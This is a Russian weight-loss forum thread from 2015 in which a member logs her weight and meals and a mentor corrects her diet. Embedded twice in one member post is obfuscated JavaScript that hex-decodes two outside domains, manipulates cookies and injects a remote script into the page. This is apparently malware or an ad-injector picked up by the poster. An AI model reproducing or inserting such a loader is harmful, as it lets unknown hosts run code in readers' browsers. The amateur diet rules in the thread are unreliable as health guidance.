Поиск
Похожие темы
Самые активные пользователи
| Evgesha (56597) |
| |||
| Ника (42367) |
| |||
| ЮлияАлександровна (31632) |
| |||
| Воробушек (23262) |
| |||
| дымка (22958) |
| |||
| sirinka (5394) |
| |||
| Елена - Алена (4830) |
| |||
| tamarico (3836) |
| |||
| НатАлекса (3833) |
| |||
| Limonchella (3174) |
|
Путеводитель
Последние темы
"© '' Форум Пышки - Худышки ''. 2009-2020. Все права защищены || При использовании любых материалов, ссылка на форум строго обязательна!".
Современная долговременная программа похудания
Что мешает иметь стройную фигуру Все мы в раннем возрасте слушаем родителей, учителей и других важных для себя людей. Мы перенимаем у своих наставников как хорошее и полезное, так и разнообразные вредные привычки, негативные убеждения и ограничения. Как Вы думаете, какие пищевые привычки сформируются у человека, если ни его родители, ни бабушки с дедушками, ни их родители никогда не следили за своим здоровьем, питались жирной высококалорийной пищей в преувеличенном количестве и не вели активный образ жизни? Любой, кто будет вести такой образ жизни, неизбежно в конце концов наберёт лишний вес, независимо от генетики и комплекции. Как только Вы поверите в то, что Вы предрасположены к лишнему весу, это сразу же проявится в Вашей реальной жизни. Потому что для того, чтобы набрать лишних 10 килограмм, необходимо всего лишь в течение месяца усиленно питаться и меньше двигаться. Вы ведь об этом уже знаете не понаслышке, разве нет? Неопытному в вопросах здорового питания человеку легко потеряться в этом море информации и начать эксперименты с разными диетами, которые часто приводят к противоположному результату - все сброшенные килограммы возвращаются, а вес становится еще больше, чем до начала экспериментов со своей фигурой. Это происходит из-за того, что большинство предлагаемых диет обещают фантастические результаты в короткие сроки при условии исключения каких-либо продуктов. Такие диеты нельзя назвать сбалансированными, потому что они ограничивают поступление необходимых для Вашего тела и мозга полезных веществ.Продолжение читаем в статье
Страничка JuliaVishnia - блокнот
Пышка - худышка :: Архив форума :: Библиотека :: Странички :: Блокнот
Страница 10 из 10 • Поделиться
Страница 10 из 10 • 
1, 2, 3, 4, 5, 6, 7, 8, 9, 10
Страничка JuliaVishnia - блокнот
автор дымка Вт 13 Мар 2012 - 14:32
Первое сообщение в теме :
|
, а также сама стать интервьюируемой.
Добро пожаловать,новички! 
К ней тоже вы можете обращаться с вопросами.
- Былое:
- 1 этап с 30 марта 2012г - 62.7 кг
Блокнот с 14 марта 2012г - 64.3 кг
Второй этап(повторно) с 18 мая 2011г - 62,5 кг
Первый этап(повторно) с 19 апреля 2011г - 62 кг
Блокнот(повторно) с 28 марта 2011г
2*2 этап с 11 ноября 2010г
Четвертый этап с 10 октября 2010 г
60,6
Третий этап с 25 сентября 2010г
Второй этап. Начинается 19 июля 2010 г.
Последний раз редактировалось: дымка (Чт 20 Июн 2013 - 22:01), всего редактировалось 2 раз(а)
дымка-
-
Регистрация : 2010-03-20
Сообщений : 22958
ЭкстраМагистр
Возраст : 48
Как вас называть? : Ольга
Дети : 5 сынов 23, 21, 11, 11, 10 лет и 4 дочки 9,9,8,7 лет
Откуда : Московская обл.
Страна :
Re: Страничка JuliaVishnia - блокнот
автор JuliaVishnia Пн 27 Июл 2015 - 15:22
нет воды пить не забываю - сушит часто... пью ее вовсю
JuliaVishnia-
- Регистрация : 2010-06-18
Сообщений : 879
Re: Страничка JuliaVishnia - блокнот
автор ЮлияАлександровна Пн 27 Июл 2015 - 15:36
Хорошо, тогда не забывай указывать количество выпитой воды
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 45
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Re: Страничка JuliaVishnia - блокнот
автор JuliaVishnia Вт 28 Июл 2015 - 11:26
Привет!
Вес на сегодня 70,3 кг - с утра
отвес с начала программы - 1 кг
меню на сегодня
7-50- реально просыпаю все время - 2 стакана воды
чаю с шоколадом уже не пила - не хотелось
8-15 борщ 1 ч.л. сметаны + 1 тост 3 кусочка московской колбасы
10-15 кофес молоком и творожная запеканка с абрикосами
13-00 фаршированный перец и салат - огурец помидор
15-30 чай с лимоном 20 гр. адыгейского сыра
17-30 будут 2 тефтели и салат с обеда - заправляю маслом - сметаны больше не хочу
сегодня без треньки - иду на катание на коньках - где будет пиво а по еде как получится
2 литра воды в день - в перекусах 1/4 яблока и 5 абрикос
Вес на сегодня 70,3 кг - с утра
отвес с начала программы - 1 кг
меню на сегодня
7-50- реально просыпаю все время - 2 стакана воды
чаю с шоколадом уже не пила - не хотелось
8-15 борщ 1 ч.л.
10-15 кофе
13-00 фаршированный перец и салат - огурец помидор
15-30 чай с лимоном 20 гр. адыгейского сыра
17-30 будут 2 тефтели и салат с обеда - заправляю маслом - сметаны больше не хочу
сегодня без треньки - иду на катание на коньках - где будет пиво а по еде как получится
2 литра воды в день - в перекусах 1/4 яблока и 5 абрикос
JuliaVishnia-
-
Регистрация : 2010-06-18
Сообщений : 879
Бакалавр 
Возраст : 49
Как вас называть? : JuliaVishnia
Дети : Марья 11 годков
Откуда : Киев
Страна :
Re: Страничка JuliaVishnia - блокнот
автор ЮлияАлександровна Вт 28 Июл 2015 - 11:33
Привет, Юля, пиво не пьём, колбасу не едим, чай с шоколадкой утром для энергии нужно, а не для красоты, постарайся встать на 20 минут раньше. Какой состав запеканки? Как фаршировала перец?
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 45
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Re: Страничка JuliaVishnia - блокнот
автор JuliaVishnia Вт 28 Июл 2015 - 11:36
состав запеканки - творог сметана яйца абрикосы - сахар
перец - фарш рис морковка и лук
перец - фарш рис морковка и лук
JuliaVishnia-
-
Регистрация : 2010-06-18
Сообщений : 879
Бакалавр
Возраст : 49
Как вас называть? : JuliaVishnia
Дети : Марья 11 годков
Откуда : Киев
Страна :
Re: Страничка JuliaVishnia - блокнот
автор ЮлияАлександровна Вт 28 Июл 2015 - 11:44
Сметану сахар не едим, тефтели тоже будут с рисом? Крупу один раз в день едим.
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 45
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Re: Страничка JuliaVishnia - блокнот
автор JuliaVishnia Вт 28 Июл 2015 - 12:02
да, Люлик с рисом
про сметану с сахаром понятно!!!
про сметану с сахаром понятно!!!
JuliaVishnia-
-
Регистрация : 2010-06-18
Сообщений : 879
Бакалавр
Возраст : 49
Как вас называть? : JuliaVishnia
Дети : Марья 11 годков
Откуда : Киев
Страна :
Re: Страничка JuliaVishnia - блокнот
автор ЮлияАлександровна Вт 28 Июл 2015 - 12:12
Хорошо, постепенно искореним твои вредности 
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 45
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Re: Страничка JuliaVishnia - блокнот
автор JuliaVishnia Вт 28 Июл 2015 - 12:13
согласна к искоренению...
JuliaVishnia-
-
Регистрация : 2010-06-18
Сообщений : 879
Бакалавр
Возраст : 49
Как вас называть? : JuliaVishnia
Дети : Марья 11 годков
Откуда : Киев
Страна :
Re: Страничка JuliaVishnia - блокнот
автор JuliaVishnia Ср 29 Июл 2015 - 10:53
Привет!
Вечером огромные нарушения!!! привес +200 гр.
сегодня разгруз на огурцах
Вечером огромные нарушения!!! привес +200 гр.
сегодня разгруз на огурцах
JuliaVishnia-
-
Регистрация : 2010-06-18
Сообщений : 879
Бакалавр
Возраст : 49
Как вас называть? : JuliaVishnia
Дети : Марья 11 годков
Откуда : Киев
Страна :
Re: Страничка JuliaVishnia - блокнот
автор ЮлияАлександровна Ср 29 Июл 2015 - 11:01
Привет. Юля, я уже писала, на огурцах у нас нет разгрузок. Хорошего тебе отвеса!
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 45
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Re: Страничка JuliaVishnia - блокнот
автор JuliaVishnia Ср 29 Июл 2015 - 11:12
пропустила я . sorry
где можно почитать о разгрузках???
window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="10252",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("mypishka.net")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
где можно почитать о разгрузках???
window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="10252",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("mypishka.net")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
JuliaVishnia-
-
Регистрация : 2010-06-18
Сообщений : 879
Бакалавр
Возраст : 49
Как вас называть? : JuliaVishnia
Дети : Марья 11 годков
Откуда : Киев
Страна :
Re: Страничка JuliaVishnia - блокнот
автор ЮлияАлександровна Ср 29 Июл 2015 - 12:00
http://www.mypishka.net/t798-topicJuliaVishnia пишет:где можно почитать о разгрузках???
Вообще по большому счёту, я бы убрала разгрузки на месяц и дала бы организму разогнать метаболизм, но это моё мнение.
Юличка, убирай за собой хвосты в виде иероглифов ( посмотри предыдущее сообщение своё, я специально не удаляла)
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 45
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Re: Страничка JuliaVishnia - блокнот
автор JuliaVishnia Чт 30 Июл 2015 - 10:29
Привет
после разгруза отвес - 500 гр. Еле выдержала - очень плохо было - ты права пока нужно убрать, наверное и считать граммы во всем а потом уже разгрузки... Низзя шоб так плохо было...
меню на сегодня
вода
чай с шоколадкой ( 2 квадрата)
завтрак суп гороховый БЕЗ СМЕТАНЫ, крекес БЕЗ МАСЛА с печеночным паштетом ( Юля а масла сливочного ваще нельзя?)
кофе с молоком ( пока с молоком) и адыгейский сыр 20 гр
второго завтрака нет
обед через 2, 5 часа капуста тушенная с мясом и салат огурец помидор + масло
в полдник и в перекусах абрикосы
ужин печенка тушеная + салат тот же
на вечер кефир
воды 2 литра +- 100 гр
без треньки сегодня
после разгруза отвес - 500 гр. Еле выдержала - очень плохо было - ты права пока нужно убрать, наверное и считать граммы во всем а потом уже разгрузки... Низзя шоб так плохо было...
меню на сегодня
вода
чай с шоколадкой ( 2 квадрата)
завтрак суп гороховый БЕЗ СМЕТАНЫ, крекес БЕЗ МАСЛА с печеночным паштетом ( Юля а масла сливочного ваще нельзя?)
кофе с молоком ( пока с молоком) и адыгейский сыр 20 гр
второго завтрака нет
обед через 2, 5 часа капуста тушенная с мясом и салат огурец помидор + масло
в полдник и в перекусах абрикосы
ужин печенка тушеная + салат тот же
на вечер кефир
воды 2 литра +- 100 гр
без треньки сегодня
JuliaVishnia-
-
Регистрация : 2010-06-18
Сообщений : 879
Бакалавр
Возраст : 49
Как вас называть? : JuliaVishnia
Дети : Марья 11 годков
Откуда : Киев
Страна :
Re: Страничка JuliaVishnia - блокнот
автор ЮлияАлександровна Чт 30 Июл 2015 - 10:36
Привет!С отвесом тебя!
Юличка, пиши мне время приёмов пищи, перерыв не более 3 часов не менее 2 часов. Надо 4-6 приёмов пищи, зависит от времени подъёма.
В каждом приёме пищи должно быть не менее 50 граммов белкового блюда, лучше 100 проверенно неоднократно.
Хорошего дня!
можно будет после 3 этапа.JuliaVishnia пишет:Юля а масла сливочного ваще нельзя?
Юличка, пиши мне время приёмов пищи, перерыв не более 3 часов не менее 2 часов. Надо 4-6 приёмов пищи, зависит от времени подъёма.
В каждом приёме пищи должно быть не менее 50 граммов белкового блюда, лучше 100 проверенно неоднократно.
Хорошего дня!
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 45
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Re: Страничка JuliaVishnia - блокнот
автор JuliaVishnia Чт 30 Июл 2015 - 10:47
Юсик я так все время ем через 2 - 2, 5 часа
или через 3
иначе голодная буду ходить...
печенка это не белок???
или через 3
иначе голодная буду ходить...
печенка это не белок???
JuliaVishnia-
-
Регистрация : 2010-06-18
Сообщений : 879
Бакалавр
Возраст : 49
Как вас называть? : JuliaVishnia
Дети : Марья 11 годков
Откуда : Киев
Страна :
Re: Страничка JuliaVishnia - блокнот
автор ЮлияАлександровна Чт 30 Июл 2015 - 11:13
Юля, печёнка -белок, а абрикосы в полдник нет.
Постарайся постепенно прийти, примерно, вот к такому меню:
вода
чай\кофе
завтрак - каша +мясо+ салат
2 завтрак - рыба + салат\овощи
обед - суп с мясом + хлеб
полдник - яйцо\ 2 яйца+ салат\овощи
ужин - творог + фрукт
вода 2 л
на ночь кефир
Постарайся постепенно прийти, примерно, вот к такому меню:
вода
чай\кофе
завтрак - каша +мясо+ салат
2 завтрак - рыба + салат\овощи
обед - суп с мясом + хлеб
полдник - яйцо\ 2 яйца+ салат\овощи
ужин - творог + фрукт
вода 2 л
на ночь кефир
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 45
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Re: Страничка JuliaVishnia - блокнот
автор JuliaVishnia Чт 30 Июл 2015 - 11:36
круто - идеально даже только задолбёт одно и то же... суп ем с утра - в обед неудобно на работе..
Картошку едим пока до когда????
Картошку едим пока до когда????
JuliaVishnia-
-
Регистрация : 2010-06-18
Сообщений : 879
Бакалавр
Возраст : 49
Как вас называть? : JuliaVishnia
Дети : Марья 11 годков
Откуда : Киев
Страна :
Re: Страничка JuliaVishnia - блокнот
автор ЮлияАлександровна Чт 30 Июл 2015 - 11:43
Суп я уже давно ем по утрам, самый лучший завтрак для меня ))
Картошку едим пока ноготочком шкурочка счищается, без белка с салатом, так же как и макароны тв. сортов пшеницы.
Вчера смотрела видео Анны Куркуриной, там сказали что крупу можно кушать два раза в неделю.
Картошку едим пока ноготочком шкурочка счищается, без белка с салатом, так же как и макароны тв. сортов пшеницы.
Вчера смотрела видео Анны Куркуриной, там сказали что крупу можно кушать два раза в неделю.
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 45
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Re: Страничка JuliaVishnia - блокнот
автор JuliaVishnia Пн 3 Авг 2015 - 11:08
Юленька привет!
Я заболела
глаза слезяться - башка трещит.
на выхи были нарушения в виде хлеба с маслом и колбасой - 1 пряника и 1 овсяного печенья ВСЕ ! Отделалась малой кровью.
сейчас аппетита нет абсолютно.
Вес в пятницу 70,4 кг отвес за неделю - 200 гр.
отвес с начала программы - 900 гр.
опять топчусь.
меню
7-15 чай шоколадка
7-50 суп с чечевицей на курином бульоне с картошкой
10-30 кофе и творог с абрикосами
13-00 3 рыбных котлеты + салат с маслом огурец помидор
15-30 абрикосы + сливы по 5 штук + помидор и сыр тв. 20 гр
18-30 сотэ из кабачка и баклажана и мяса куриного 200 гр
воды постараюсь 2 литра + чай с лимоном.
Я заболела
глаза слезяться - башка трещит.
на выхи были нарушения в виде хлеба с маслом и колбасой - 1 пряника и 1 овсяного печенья ВСЕ ! Отделалась малой кровью.
сейчас аппетита нет абсолютно.
Вес в пятницу 70,4 кг отвес за неделю - 200 гр.
отвес с начала программы - 900 гр.
опять топчусь.
меню
7-15 чай шоколадка
7-50 суп с чечевицей на курином бульоне с картошкой
10-30 кофе и творог с абрикосами
13-00 3 рыбных котлеты + салат с маслом огурец помидор
15-30 абрикосы + сливы по 5 штук + помидор и сыр тв. 20 гр
18-30 сотэ из кабачка и баклажана и мяса куриного 200 гр
воды постараюсь 2 литра + чай с лимоном.
JuliaVishnia-
-
Регистрация : 2010-06-18
Сообщений : 879
Бакалавр
Возраст : 49
Как вас называть? : JuliaVishnia
Дети : Марья 11 годков
Откуда : Киев
Страна :
Re: Страничка JuliaVishnia - блокнот
автор ЮлияАлександровна Пн 3 Авг 2015 - 13:53
Привет!
Юля, если ты не добираешь калории еды, ты тоже не будешь худеть, а твой недоедающий организм будет требовать восполнить энергию сладким.
Выздоравливай!JuliaVishnia пишет:Я заболела
JuliaVishnia пишет:на выхи были нарушения
пока не избавишься от нарушений минимум на 3 месяца, будешь топтаться.JuliaVishnia пишет:опять топчусь.
сюда хлебJuliaVishnia пишет:7-50 суп с чечевицей на курином бульоне с картошкой
пьём кофе потом через 20-30 минут едим творог. Сколько грамм творога было? сколько абрикос?JuliaVishnia пишет:10-30 кофе и творог с абрикосами
что входит в фарш? какой величины котлеты?JuliaVishnia пишет:3 рыбных котлеты
нет белка 20 гр тв. сыра не достаточно!JuliaVishnia пишет:15-30 абрикосы + сливы по 5 штук + помидор и сыр тв. 20 гр
Юля, если ты не добираешь калории еды, ты тоже не будешь худеть, а твой недоедающий организм будет требовать восполнить энергию сладким.
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 45
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Re: Страничка JuliaVishnia - блокнот
автор JuliaVishnia Пн 3 Авг 2015 - 14:03
Юсик что мне можно добавить в перекус?
всегда с супом 1 крекес
кофе вместе с творогом - творога 70 гр. + 3 абрикосы размятые
мне кажется я в калориях перебираю даже. никогда их не считала.
от косяков избавляюсь постепенно - так намного легче... чем сразу.
думаю разгрузиться мне на мясе в среду или не стоит???
всегда с супом 1 крекес
кофе вместе с творогом - творога 70 гр. + 3 абрикосы размятые
мне кажется я в калориях перебираю даже. никогда их не считала.
от косяков избавляюсь постепенно - так намного легче... чем сразу.
думаю разгрузиться мне на мясе в среду или не стоит???
JuliaVishnia-
-
Регистрация : 2010-06-18
Сообщений : 879
Бакалавр
Возраст : 49
Как вас называть? : JuliaVishnia
Дети : Марья 11 годков
Откуда : Киев
Страна :
Re: Страничка JuliaVishnia - блокнот
автор ЮлияАлександровна Пн 3 Авг 2015 - 14:15
я считала свои, потому говорю, что у тебя больше на недостаток похоже, а иногда излишек, посчитать не могу, потому что не знаю вес твоих продуктов и состав.JuliaVishnia пишет:мне кажется я в калориях перебираю даже. никогда их не считала.
Если хочешь посчитай http://www.calorizator.ru/analyzer/products
Разгрузку, я тебе говорила, если делала регулярно, то продолжай, если нет, то пока и не нужно.
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 45
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Re: Страничка JuliaVishnia - блокнот
автор JuliaVishnia Пн 3 Авг 2015 - 14:19
буду смотреть по самочувствию... накрывает меня вовсю. Ненавижу болеть...
JuliaVishnia-
-
Регистрация : 2010-06-18
Сообщений : 879
Бакалавр
Возраст : 49
Как вас называть? : JuliaVishnia
Дети : Марья 11 годков
Откуда : Киев
Страна :
Re: Страничка JuliaVishnia - блокнот
автор ЮлияАлександровна Пн 3 Авг 2015 - 14:28
Evgesha пишет:Ты не права! Разгрузка подстегивает организм, а он, в свое время, усиливает иммунитет. Разгрузки назначаются даже очень ослабленным больным, для более быстрого выздоровления! А ты, разгрузки пропускаешь, якобы из-за болезни!
Evgesha пишет:Просто нужно выбрать разгрузку такую, которая твоей болезни не помеха. Вот например, чай с медом на целый день, или горячее молоко с медом. Тут тебе и разгрузка и лечение! Просто девочки не всегда понимают что такое разгрузка, болезнь, и как можно сопоставить одно с другим. Для того чтобы это понимать, вы и учитесь этому всему!
Не болейте!
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 45
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Re: Страничка JuliaVishnia - блокнот
автор JuliaVishnia Ср 5 Авг 2015 - 10:59
Юленька, привет.
Прошу прощение за вчерашнее отсутствие.
много работы+ замучала аллергия или простуда не знаю что - чихаю все время из носа ручьем. Ремонт дома все в пыли все полы белые сплю в комнату, которая вся застелена пленкой... КОШМАР
стакан воды
7-30 чай+ шоколад
8-00 суп с чечевицей с курицей 1 крекес
10-00 кофес молоком +сыр 20 гр
11-301 2 нужно яйцо + 2 помидора + 1 груша фрукты едим через полтора часа после еды или за пол часа до еды !
13-30 каша Артек - 150 гр + салат огурец помидор масло где белок?
16-00 кабачки тушенные с морковкой и салат с обеда где белок?
вечером вчера ела салат огурец и помидор один ( так захотелось) можно вечером салат добавить???
22-00 будет кефирс вишней
2 литра воды в день.
Прошу прощение за вчерашнее отсутствие.
много работы+ замучала аллергия или простуда не знаю что - чихаю все время из носа ручьем. Ремонт дома все в пыли все полы белые сплю в комнату, которая вся застелена пленкой... КОШМАР
стакан воды
7-30 чай+ шоколад
8-00 суп с чечевицей с курицей 1 крекес
10-00 кофе
11-30
13-30 каша Артек - 150 гр + салат огурец помидор масло где белок?
16-00 кабачки тушенные с морковкой и салат с обеда где белок?
вечером вчера ела салат огурец и помидор один ( так захотелось) можно вечером салат добавить???
22-00 будет кефир
2 литра воды в день.
JuliaVishnia-
-
Регистрация : 2010-06-18
Сообщений : 879
Бакалавр
Возраст : 49
Как вас называть? : JuliaVishnia
Дети : Марья 11 годков
Откуда : Киев
Страна :
Re: Страничка JuliaVishnia - блокнот
автор ЮлияАлександровна Ср 5 Авг 2015 - 11:14
Привет, Юляша, мы договаривались, что в каждом приёме пищи будет белковое блюдо не менее 100 грамм, где это? последняя еда за 3 часа до сна максимум.
Каша артек пшеничничная, её нельзя, кофе в молоко нельзя.
Не хочешь попробовать планировать меню, а то по факту, я смотрю, мы будем долго выравниваться.
Каша артек пшеничничная, её нельзя, кофе в молоко нельзя.
Не хочешь попробовать планировать меню, а то по факту, я смотрю, мы будем долго выравниваться.
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 45
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Re: Страничка JuliaVishnia - блокнот
автор JuliaVishnia Ср 5 Авг 2015 - 11:29
да хорошо...
Что можно добавить в кофе - очень хочу его а без молока не могу пить - крепкий он мне.
планирую на завтра
7-30 стакан воды
8-00 рис неочищенный и салат (огурец помидор масло)
10-00 творог( 100 гр) и абрикосы 5 штук - может сливы
12-00 1 груша
13-30 мясо тушенное и кабачки на сухой сковороде постараюсь пожарить
16-00 салат огурец помидор ( шшо еще добавить???)
и вечером очень хочу есть салат - сварю куриную грудку и по 100 гр сьем и в 16-00 и в 19-00 можно так???
Что можно добавить в кофе - очень хочу его а без молока не могу пить - крепкий он мне.
планирую на завтра
7-30 стакан воды
8-00 рис неочищенный и салат (огурец помидор масло)
10-00 творог( 100 гр) и абрикосы 5 штук - может сливы
12-00 1 груша
13-30 мясо тушенное и кабачки на сухой сковороде постараюсь пожарить
16-00 салат огурец помидор ( шшо еще добавить???)
и вечером очень хочу есть салат - сварю куриную грудку и по 100 гр сьем и в 16-00 и в 19-00 можно так???
JuliaVishnia-
-
Регистрация : 2010-06-18
Сообщений : 879
Бакалавр
Возраст : 49
Как вас называть? : JuliaVishnia
Дети : Марья 11 годков
Откуда : Киев
Страна :
Re: Страничка JuliaVishnia - блокнот
автор ЮлияАлександровна Ср 5 Авг 2015 - 11:42
Суп потеряла, обязательно суп!JuliaVishnia пишет:планирую на завтра
7-30 стакан воды
чай/кофе+шоколад
8-00 рис неочищенный и салат (огурец помидор масло) + белок, можно грибы
10-00 творог( 100 гр) и абрикосы 5 штук - может сливы
12-00 1 груша
13-30 мясо тушенное и кабачки на сухой сковороде постараюсь пожарить можно потушить кабачки с мясом и еду желательно перенести на пол часа раньше, перерыв максимум 3 часа
16-00 салат огурец помидор ( шшо еще добавить???)
и вечером очень хочу есть салат - сварю куриную грудку и по 100 гр сьем и в 16-00 и в 19-00 можно так???
Салат с куриным филе можно и нужно, но их желательно развести по времени, т.е. салат+ куриное филе
кабачки с мясом
салат + куриное филе.
Покушать можно и нужно с 18.00 до 19.00
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 45
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Re: Страничка JuliaVishnia - блокнот
автор JuliaVishnia Пт 7 Авг 2015 - 13:14
Привет
вес сегодня 70,2 кг
отвес за неделю -200 гр
отвес за программу -1 кг 100 гр.
Можно мне разместить как то в начале мой вес и начало программы - путаюсь
7-00 стакан воды
7-15 шоколад чай
8-00 борщ с мясом куриным 1 крекес
10-00 100 гр творога с кофе
11-00 груша 1 штука 1 персик
12-30 мясо тушеное + салат огурец помидор
15-00 каша артек + салат ( какой можно добавить белок к каше?? - если кашу с мясом нельзя??)
18-00 буду дома и будет кусок куриного филе 150 гр и огромный помидор
вечером кефир
воды -2 литра
уезжаю в понедельник на море
планирую питание так :
с утра овсянка обязательно не на молоке + фрукт
перекусы творог, варенные яйца, сыр
обязательно арбузы и кукуруза
воды МНОГО
с мясом напряг - боюсь там покупать ( что-нить придумаем)
кефир на ночь ОБЯЗАТЕЛЬНО
СУП В ОБЕД!!
вес сегодня 70,2 кг
отвес за неделю -200 гр
отвес за программу -1 кг 100 гр.
Можно мне разместить как то в начале мой вес и начало программы - путаюсь
7-00 стакан воды
7-15 шоколад чай
8-00 борщ с мясом куриным 1 крекес
